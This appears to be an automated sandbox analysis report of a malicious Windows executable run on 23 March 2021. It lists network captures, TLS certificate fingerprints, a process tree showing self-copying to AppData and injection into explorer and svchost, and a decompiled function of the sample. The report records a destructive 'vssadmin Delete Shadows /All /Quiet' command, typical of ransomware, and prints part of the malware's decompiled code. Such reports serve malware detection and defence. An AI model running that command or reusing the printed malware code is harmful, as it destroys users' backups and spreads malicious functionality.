                                                                                                                                                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a
                                                                                                                                                                                                                                                                                                    Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>openresty</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                                                                                                                                                                                                                                                                    HTTPS Packets

                                                                                                                                                                                                                                                                                                    TimestampSource IPSource PortDest IPDest PortSubjectIssuerNot BeforeNot AfterJA3 SSL Client FingerprintJA3 SSL Client Digest
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.412221909 CET172.67.70.191443192.168.2.349737CN=sni.cloudflaressl.com, O="Cloudflare, Inc.", L=San Francisco, ST=CA, C=US CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=USCN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IESat Jul 18 02:00:00 CEST 2020 Mon Jan 27 13:48:08 CET 2020Sun Jul 18 14:00:00 CEST 2021 Wed Jan 01 00:59:59 CET 2025771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-23-65281,29-23-24,037f463bf4616ecd445d4a1937da06e19
                                                                                                                                                                                                                                                                                                    CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=USCN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IEMon Jan 27 13:48:08 CET 2020Wed Jan 01 00:59:59 CET 2025
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:54.556701899 CET157.240.17.35443192.168.2.349756CN=*.facebook.com, O="Facebook, Inc.", L=Menlo Park, ST=California, C=US CN=DigiCert SHA2 High Assurance Server CA, OU=www.digicert.com, O=DigiCert Inc, C=USCN=DigiCert SHA2 High Assurance Server CA, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert High Assurance EV Root CA, OU=www.digicert.com, O=DigiCert Inc, C=USWed Feb 10 01:00:00 CET 2021 Tue Oct 22 14:00:00 CEST 2013Tue May 11 01:59:59 CEST 2021 Sun Oct 22 14:00:00 CEST 2028771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-23-65281,29-23-24,037f463bf4616ecd445d4a1937da06e19
                                                                                                                                                                                                                                                                                                    CN=DigiCert SHA2 High Assurance Server CA, OU=www.digicert.com, O=DigiCert Inc, C=USCN=DigiCert High Assurance EV Root CA, OU=www.digicert.com, O=DigiCert Inc, C=USTue Oct 22 14:00:00 CEST 2013Sun Oct 22 14:00:00 CEST 2028
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:57.815665960 CET156.38.154.7443192.168.2.349760CN=monarchrentals.co.za CN=R3, O=Let's Encrypt, C=US CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=USCN=R3, O=Let's Encrypt, C=US CN=DST Root CA X3, O=Digital Signature Trust Co. CN=DST Root CA X3, O=Digital Signature Trust Co.Sat Mar 13 00:05:35 CET 2021 Wed Oct 07 21:21:40 CEST 2020 Thu Mar 17 17:40:46 CET 2016Fri Jun 11 01:05:35 CEST 2021 Wed Sep 29 21:21:40 CEST 2021 Wed Mar 17 17:40:46 CET 2021771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-23-65281,29-23-24,037f463bf4616ecd445d4a1937da06e19
                                                                                                                                                                                                                                                                                                    CN=R3, O=Let's Encrypt, C=USCN=DST Root CA X3, O=Digital Signature Trust Co.Wed Oct 07 21:21:40 CEST 2020Wed Sep 29 21:21:40 CEST 2021
                                                                                                                                                                                                                                                                                                    CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=USCN=DST Root CA X3, O=Digital Signature Trust Co.Thu Mar 17 17:40:46 CET 2016Wed Mar 17 17:40:46 CET 2021

                                                                                                                                                                                                                                                                                                    Code Manipulations

                                                                                                                                                                                                                                                                                                    Statistics

                                                                                                                                                                                                                                                                                                    CPU Usage

                                                                                                                                                                                                                                                                                                    Click to jump to process

                                                                                                                                                                                                                                                                                                    Memory Usage

                                                                                                                                                                                                                                                                                                    Click to jump to process

                                                                                                                                                                                                                                                                                                    High Level Behavior Distribution

                                                                                                                                                                                                                                                                                                    Click to dive into process behavior distribution

                                                                                                                                                                                                                                                                                                    Behavior

                                                                                                                                                                                                                                                                                                    Click to jump to process

                                                                                                                                                                                                                                                                                                    System Behavior

                                                                                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                                                                                    Start time:11:33:19
                                                                                                                                                                                                                                                                                                    Start date:23/03/2021
                                                                                                                                                                                                                                                                                                    Path:C:\Users\user\Desktop\yx8DBT3r5r.exe
                                                                                                                                                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                                                                                                                                                    Commandline:'C:\Users\user\Desktop\yx8DBT3r5r.exe'
                                                                                                                                                                                                                                                                                                    Imagebase:0x400000
                                                                                                                                                                                                                                                                                                    File size:373248 bytes
                                                                                                                                                                                                                                                                                                    MD5 hash:1CD5B3B638EC9B7DE356B47EAE7E0460
                                                                                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                                    Reputation:low

                                                                                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                                                                                    Start time:11:33:20
                                                                                                                                                                                                                                                                                                    Start date:23/03/2021
                                                                                                                                                                                                                                                                                                    Path:C:\Windows\splwow64.exe
                                                                                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                                                                                    Commandline:C:\Windows\splwow64.exe 12288
                                                                                                                                                                                                                                                                                                    Imagebase:0x7ff60ed20000
                                                                                                                                                                                                                                                                                                    File size:130560 bytes
                                                                                                                                                                                                                                                                                                    MD5 hash:8D59B31FF375059E3C32B17BF31A76D5
                                                                                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                                    Reputation:high

                                                                                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                                                                                    Start time:11:33:27
                                                                                                                                                                                                                                                                                                    Start date:23/03/2021
                                                                                                                                                                                                                                                                                                    Path:C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                                                                                                                                                    Commandline:C:\Windows\syswow64\explorer.exe
                                                                                                                                                                                                                                                                                                    Imagebase:0x12e0000
                                                                                                                                                                                                                                                                                                    File size:3611360 bytes
                                                                                                                                                                                                                                                                                                    MD5 hash:166AB1B9462E5C1D6D18EC5EC0B6A5F7
                                                                                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                                    Reputation:high

                                                                                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                                                                                    Start time:11:33:29
                                                                                                                                                                                                                                                                                                    Start date:23/03/2021
                                                                                                                                                                                                                                                                                                    Path:C:\Windows\SysWOW64\svchost.exe
                                                                                                                                                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                                                                                                                                                    Commandline:-k netsvcs
                                                                                                                                                                                                                                                                                                    Imagebase:0x2c0000
                                                                                                                                                                                                                                                                                                    File size:44520 bytes
                                                                                                                                                                                                                                                                                                    MD5 hash:FA6C268A5B5BDA067A901764D203D433
                                                                                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                                    Reputation:moderate

                                                                                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                                                                                    Start time:11:33:38
                                                                                                                                                                                                                                                                                                    Start date:23/03/2021
                                                                                                                                                                                                                                                                                                    Path:C:\Users\user\AppData\Roaming\88e08d7ea\8e7b5.exe
                                                                                                                                                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                                                                                                                                                    Commandline:'C:\Users\user\AppData\Roaming\88e08d7ea\8e7b5.exe'
                                                                                                                                                                                                                                                                                                    Imagebase:0x400000
                                                                                                                                                                                                                                                                                                    File size:373248 bytes
                                                                                                                                                                                                                                                                                                    MD5 hash:1CD5B3B638EC9B7DE356B47EAE7E0460
                                                                                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                                    Antivirus matches:
                                                                                                                                                                                                                                                                                                    • Detection: 100%, Avira
                                                                                                                                                                                                                                                                                                    • Detection: 100%, Joe Sandbox ML
                                                                                                                                                                                                                                                                                                    • Detection: 65%, Metadefender, Browse
                                                                                                                                                                                                                                                                                                    • Detection: 90%, ReversingLabs
                                                                                                                                                                                                                                                                                                    Reputation:low

                                                                                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                                                                                    Start time:11:33:38
                                                                                                                                                                                                                                                                                                    Start date:23/03/2021
                                                                                                                                                                                                                                                                                                    Path:C:\Windows\splwow64.exe
                                                                                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                                                                                    Commandline:C:\Windows\splwow64.exe 12288
                                                                                                                                                                                                                                                                                                    Imagebase:0x7ff60ed20000
                                                                                                                                                                                                                                                                                                    File size:130560 bytes
                                                                                                                                                                                                                                                                                                    MD5 hash:8D59B31FF375059E3C32B17BF31A76D5
                                                                                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                                    Reputation:high

                                                                                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                                                                                    Start time:11:33:46
                                                                                                                                                                                                                                                                                                    Start date:23/03/2021
                                                                                                                                                                                                                                                                                                    Path:C:\Users\user\AppData\Roaming\88e08d7ea\8e7b5.exe
                                                                                                                                                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                                                                                                                                                    Commandline:'C:\Users\user\AppData\Roaming\88e08d7ea\8e7b5.exe'
                                                                                                                                                                                                                                                                                                    Imagebase:0x400000
                                                                                                                                                                                                                                                                                                    File size:373248 bytes
                                                                                                                                                                                                                                                                                                    MD5 hash:1CD5B3B638EC9B7DE356B47EAE7E0460
                                                                                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                                    Reputation:low

                                                                                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                                                                                    Start time:11:34:20
                                                                                                                                                                                                                                                                                                    Start date:23/03/2021
                                                                                                                                                                                                                                                                                                    Path:C:\Windows\SysWOW64\vssadmin.exe
                                                                                                                                                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                                                                                                                                                    Commandline:vssadmin.exe Delete Shadows /All /Quiet
                                                                                                                                                                                                                                                                                                    Imagebase:0x150000
                                                                                                                                                                                                                                                                                                    File size:110592 bytes
                                                                                                                                                                                                                                                                                                    MD5 hash:7E30B94672107D3381A1D175CF18C147
                                                                                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                                    Reputation:moderate

                                                                                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                                                                                    Start time:11:34:20
                                                                                                                                                                                                                                                                                                    Start date:23/03/2021
                                                                                                                                                                                                                                                                                                    Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                                                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                    Imagebase:0x7ff6b2800000
                                                                                                                                                                                                                                                                                                    File size:625664 bytes
                                                                                                                                                                                                                                                                                                    MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                                    Reputation:high

                                                                                                                                                                                                                                                                                                    Disassembly

                                                                                                                                                                                                                                                                                                    Code Analysis

                                                                                                                                                                                                                                                                                                    Reset < >

                                                                                                                                                                                                                                                                                                      Executed Functions

                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                      control_flow_graph 0 404a00-404a14 1 404a16-404a1a 0->1 2 404a1c-404a1f 0->2 1->2 3 404a24-404aee call 40d620 1->3 4 40552f-405532 2->4 7 404af0-404b03 call 40bb40 3->7 8 404b49-404bb7 call 40d620 3->8 15 404b05-404b0d call 407850 7->15 16 404b3d-404b41 call 407700 7->16 13 404c12-404c9b call 4016e0 8->13 14 404bb9-404bcc call 40bb40 8->14 25 404ca1-404cb6 call 40d620 13->25 26 404e75-405228 call 40d620 13->26 27 404c06-404c0a call 407700 14->27 28 404bce-404bd6 call 407850 14->28 23 404b12-404b17 15->23 24 404b46 16->24 23->16 29 404b19-404b1d 23->29 24->8 25->26 40 404cbc-404ccf call 40bb40 25->40 42 405239-40525c call 40d620 26->42 43 40522a-405236 call 40bb40 26->43 39 404c0f 27->39 36 404bdb-404be0 28->36 29->16 33 404b1f-404b3a call 4016e0 29->33 33->16 36->27 41 404be2-404be6 36->41 39->13 54 404cd5-404cf6 call 4016e0 40->54 55 404e69-404e6d call 407700 40->55 41->27 46 404be8-404c03 call 4016e0 41->46 57 40526d-40528d call 40d620 42->57 58 40525e-40526a call 40bb40 42->58 43->42 46->27 54->55 75 404cfc-404d98 call 4016e0 * 2 NtCreateFile 54->75 65 404e72 55->65 68 40529e-4052c1 call 40d620 57->68 69 40528f-40529b call 40bb40 57->69 58->57 65->26 76 4052d2-4052e1 68->76 77 4052c3-4052cf call 40bb40 68->77 69->68 102 404e4d-404e64 call 40d560 call 4016e0 75->102 103 404d9e-404df8 call 4016e0 * 3 NtQueryVolumeInformationFile 75->103 81 4053b6-4053ba 76->81 82 4052e7-4052fc call 407850 76->82 77->76 83 405435-40544d call 4016e0 81->83 84 4053bc-4053c7 call 407850 81->84 91 405392-4053ae call 407700 * 3 82->91 92 405302-405306 82->92 109 405453-405469 call 407460 83->109 110 4054fd-405501 83->110 94 4053cc-4053d1 84->94 143 4053b3 91->143 96 405326-40532a 92->96 97 405308-405323 call 4016e0 92->97 94->83 99 4053d3-405432 call 40d560 * 2 call 40ec60 94->99 105 40534a-40534e 96->105 106 40532c-405347 call 4016e0 96->106 97->96 99->83 102->55 159 404e40-404e49 call 4016e0 103->159 160 404dfa-404e05 call 407850 103->160 117 405350-40536b call 4016e0 105->117 118 40536e-405372 105->118 106->105 109->110 138 40546f-405487 call 4016e0 109->138 121 405503-405507 110->121 122 40552c 110->122 117->118 118->91 120 405374-40538f call 4016e0 118->120 120->91 121->122 133 405509-405525 121->133 122->4 133->122 153 4054f1-4054f5 call 407700 138->153 154 405489-405497 call 407850 138->154 143->81 161 4054fa 153->161 162 40549c-4054a1 154->162 159->102 166 404e0a-404e0f 160->166 161->110 162->153 165 4054a3-4054aa 162->165 168 4054b5-4054bb 165->168 166->159 169 404e11-404e3d call 4016e0 166->169 168->153 170 4054bd-4054ef call 4016e0 168->170 169->159 170->168
                                                                                                                                                                                                                                                                                                      C-Code - Quality: 88%
                                                                                                                                                                                                                                                                                                      			E00404A00(intOrPtr* _a4, intOrPtr* _a8) {
                                                                                                                                                                                                                                                                                                      				signed int _v8;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v12;
                                                                                                                                                                                                                                                                                                      				signed int _v16;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v20;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v24;
                                                                                                                                                                                                                                                                                                      				struct _GUID* _v28;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v32;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v36;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v40;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v44;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v48;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v52;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v56;
                                                                                                                                                                                                                                                                                                      				signed int _v60;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v64;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v68;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v72;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v76;
                                                                                                                                                                                                                                                                                                      				void* _v80;
                                                                                                                                                                                                                                                                                                      				union _FSINFOCLASS _v84;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v88;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v92;
                                                                                                                                                                                                                                                                                                      				short _v96;
                                                                                                                                                                                                                                                                                                      				short _v98;
                                                                                                                                                                                                                                                                                                      				short _v100;
                                                                                                                                                                                                                                                                                                      				short _v102;
                                                                                                                                                                                                                                                                                                      				short _v104;
                                                                                                                                                                                                                                                                                                      				short _v106;
                                                                                                                                                                                                                                                                                                      				short _v108;
                                                                                                                                                                                                                                                                                                      				short _v110;
                                                                                                                                                                                                                                                                                                      				char _v112;
                                                                                                                                                                                                                                                                                                      				short _v114;
                                                                                                                                                                                                                                                                                                      				short _v116;
                                                                                                                                                                                                                                                                                                      				short _v118;
                                                                                                                                                                                                                                                                                                      				short _v120;
                                                                                                                                                                                                                                                                                                      				short _v122;
                                                                                                                                                                                                                                                                                                      				short _v124;
                                                                                                                                                                                                                                                                                                      				short _v126;
                                                                                                                                                                                                                                                                                                      				short _v128;
                                                                                                                                                                                                                                                                                                      				short _v130;
                                                                                                                                                                                                                                                                                                      				short _v132;
                                                                                                                                                                                                                                                                                                      				short _v134;
                                                                                                                                                                                                                                                                                                      				char _v136;
                                                                                                                                                                                                                                                                                                      				short _v140;
                                                                                                                                                                                                                                                                                                      				short _v142;
                                                                                                                                                                                                                                                                                                      				short _v144;
                                                                                                                                                                                                                                                                                                      				short _v146;
                                                                                                                                                                                                                                                                                                      				short _v148;
                                                                                                                                                                                                                                                                                                      				short _v150;
                                                                                                                                                                                                                                                                                                      				short _v152;
                                                                                                                                                                                                                                                                                                      				short _v154;
                                                                                                                                                                                                                                                                                                      				short _v156;
                                                                                                                                                                                                                                                                                                      				short _v158;
                                                                                                                                                                                                                                                                                                      				short _v160;
                                                                                                                                                                                                                                                                                                      				short _v162;
                                                                                                                                                                                                                                                                                                      				char _v164;
                                                                                                                                                                                                                                                                                                      				short _v166;
                                                                                                                                                                                                                                                                                                      				short _v168;
                                                                                                                                                                                                                                                                                                      				short _v170;
                                                                                                                                                                                                                                                                                                      				short _v172;
                                                                                                                                                                                                                                                                                                      				short _v174;
                                                                                                                                                                                                                                                                                                      				short _v176;
                                                                                                                                                                                                                                                                                                      				short _v178;
                                                                                                                                                                                                                                                                                                      				short _v180;
                                                                                                                                                                                                                                                                                                      				short _v182;
                                                                                                                                                                                                                                                                                                      				short _v184;
                                                                                                                                                                                                                                                                                                      				short _v186;
                                                                                                                                                                                                                                                                                                      				short _v188;
                                                                                                                                                                                                                                                                                                      				short _v190;
                                                                                                                                                                                                                                                                                                      				short _v192;
                                                                                                                                                                                                                                                                                                      				short _v194;
                                                                                                                                                                                                                                                                                                      				char _v196;
                                                                                                                                                                                                                                                                                                      				short _v200;
                                                                                                                                                                                                                                                                                                      				short _v202;
                                                                                                                                                                                                                                                                                                      				short _v204;
                                                                                                                                                                                                                                                                                                      				short _v206;
                                                                                                                                                                                                                                                                                                      				short _v208;
                                                                                                                                                                                                                                                                                                      				short _v210;
                                                                                                                                                                                                                                                                                                      				short _v212;
                                                                                                                                                                                                                                                                                                      				short _v214;
                                                                                                                                                                                                                                                                                                      				short _v216;
                                                                                                                                                                                                                                                                                                      				short _v218;
                                                                                                                                                                                                                                                                                                      				short _v220;
                                                                                                                                                                                                                                                                                                      				short _v222;
                                                                                                                                                                                                                                                                                                      				short _v224;
                                                                                                                                                                                                                                                                                                      				short _v226;
                                                                                                                                                                                                                                                                                                      				short _v228;
                                                                                                                                                                                                                                                                                                      				short _v230;
                                                                                                                                                                                                                                                                                                      				short _v232;
                                                                                                                                                                                                                                                                                                      				short _v234;
                                                                                                                                                                                                                                                                                                      				char _v236;
                                                                                                                                                                                                                                                                                                      				short _v240;
                                                                                                                                                                                                                                                                                                      				short _v242;
                                                                                                                                                                                                                                                                                                      				short _v244;
                                                                                                                                                                                                                                                                                                      				short _v246;
                                                                                                                                                                                                                                                                                                      				short _v248;
                                                                                                                                                                                                                                                                                                      				short _v250;
                                                                                                                                                                                                                                                                                                      				short _v252;
                                                                                                                                                                                                                                                                                                      				short _v254;
                                                                                                                                                                                                                                                                                                      				short _v256;
                                                                                                                                                                                                                                                                                                      				short _v258;
                                                                                                                                                                                                                                                                                                      				short _v260;
                                                                                                                                                                                                                                                                                                      				short _v262;
                                                                                                                                                                                                                                                                                                      				short _v264;
                                                                                                                                                                                                                                                                                                      				short _v266;
                                                                                                                                                                                                                                                                                                      				short _v268;
                                                                                                                                                                                                                                                                                                      				short _v270;
                                                                                                                                                                                                                                                                                                      				short _v272;
                                                                                                                                                                                                                                                                                                      				short _v274;
                                                                                                                                                                                                                                                                                                      				short _v276;
                                                                                                                                                                                                                                                                                                      				short _v278;
                                                                                                                                                                                                                                                                                                      				char _v280;
                                                                                                                                                                                                                                                                                                      				short _v284;
                                                                                                                                                                                                                                                                                                      				short _v286;
                                                                                                                                                                                                                                                                                                      				short _v288;
                                                                                                                                                                                                                                                                                                      				short _v290;
                                                                                                                                                                                                                                                                                                      				short _v292;
                                                                                                                                                                                                                                                                                                      				short _v294;
                                                                                                                                                                                                                                                                                                      				short _v296;
                                                                                                                                                                                                                                                                                                      				short _v298;
                                                                                                                                                                                                                                                                                                      				short _v300;
                                                                                                                                                                                                                                                                                                      				short _v302;
                                                                                                                                                                                                                                                                                                      				short _v304;
                                                                                                                                                                                                                                                                                                      				short _v306;
                                                                                                                                                                                                                                                                                                      				short _v308;
                                                                                                                                                                                                                                                                                                      				short _v310;
                                                                                                                                                                                                                                                                                                      				short _v312;
                                                                                                                                                                                                                                                                                                      				short _v314;
                                                                                                                                                                                                                                                                                                      				short _v316;
                                                                                                                                                                                                                                                                                                      				short _v318;
                                                                                                                                                                                                                                                                                                      				short _v320;
                                                                                                                                                                                                                                                                                                      				short _v322;
                                                                                                                                                                                                                                                                                                      				short _v324;
                                                                                                                                                                                                                                                                                                      				long _v328;
                                                                                                                                                                                                                                                                                                      				long _v332;
                                                                                                                                                                                                                                                                                                      				void* _v340;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v344;
                                                                                                                                                                                                                                                                                                      				char _v348;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v352;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v356;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v360;
                                                                                                                                                                                                                                                                                                      				char* _v364;
                                                                                                                                                                                                                                                                                                      				struct _GUID _v368;
                                                                                                                                                                                                                                                                                                      				void* _v372;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v388;
                                                                                                                                                                                                                                                                                                      				void _v396;
                                                                                                                                                                                                                                                                                                      				void* _t340;
                                                                                                                                                                                                                                                                                                      				void* _t345;
                                                                                                                                                                                                                                                                                                      				void* _t378;
                                                                                                                                                                                                                                                                                                      				void* _t380;
                                                                                                                                                                                                                                                                                                      				void* _t382;
                                                                                                                                                                                                                                                                                                      				void* _t384;
                                                                                                                                                                                                                                                                                                      				struct _GUID* _t392;
                                                                                                                                                                                                                                                                                                      				void* _t399;
                                                                                                                                                                                                                                                                                                      				void* _t403;
                                                                                                                                                                                                                                                                                                      				void* _t407;
                                                                                                                                                                                                                                                                                                      				void* _t419;
                                                                                                                                                                                                                                                                                                      				void* _t425;
                                                                                                                                                                                                                                                                                                      				void* _t436;
                                                                                                                                                                                                                                                                                                      				struct _GUID _t438;
                                                                                                                                                                                                                                                                                                      				struct _GUID _t439;
                                                                                                                                                                                                                                                                                                      				struct _GUID _t440;
                                                                                                                                                                                                                                                                                                      				struct _GUID _t441;
                                                                                                                                                                                                                                                                                                      				void* _t443;
                                                                                                                                                                                                                                                                                                      				struct _GUID _t444;
                                                                                                                                                                                                                                                                                                      				long _t455;
                                                                                                                                                                                                                                                                                                      				void* _t458;
                                                                                                                                                                                                                                                                                                      				long _t468;
                                                                                                                                                                                                                                                                                                      				void* _t472;
                                                                                                                                                                                                                                                                                                      				struct _GUID _t477;
                                                                                                                                                                                                                                                                                                      				void* _t480;
                                                                                                                                                                                                                                                                                                      				struct _GUID _t485;
                                                                                                                                                                                                                                                                                                      				void* _t487;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t615;
                                                                                                                                                                                                                                                                                                      				void* _t660;
                                                                                                                                                                                                                                                                                                      				void* _t661;
                                                                                                                                                                                                                                                                                                      				void* _t662;
                                                                                                                                                                                                                                                                                                      				void* _t663;
                                                                                                                                                                                                                                                                                                      				void* _t664;
                                                                                                                                                                                                                                                                                                      				void* _t665;
                                                                                                                                                                                                                                                                                                      				void* _t666;
                                                                                                                                                                                                                                                                                                      				void* _t667;
                                                                                                                                                                                                                                                                                                      				void* _t669;
                                                                                                                                                                                                                                                                                                      				void* _t672;
                                                                                                                                                                                                                                                                                                      				void* _t673;
                                                                                                                                                                                                                                                                                                      				void* _t674;
                                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                      				_v84 = 0;
                                                                                                                                                                                                                                                                                                      				if(_a4 == 0 || _a8 == 0) {
                                                                                                                                                                                                                                                                                                      					return _v84;
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      				_v12 = 0;
                                                                                                                                                                                                                                                                                                      				_v8 = 0;
                                                                                                                                                                                                                                                                                                      				_v164 = 0x43;
                                                                                                                                                                                                                                                                                                      				_v162 = 0x4f;
                                                                                                                                                                                                                                                                                                      				_v160 = 0x4d;
                                                                                                                                                                                                                                                                                                      				_v158 = 0x50;
                                                                                                                                                                                                                                                                                                      				_v156 = 0x55;
                                                                                                                                                                                                                                                                                                      				_v154 = 0x54;
                                                                                                                                                                                                                                                                                                      				_v152 = 0x45;
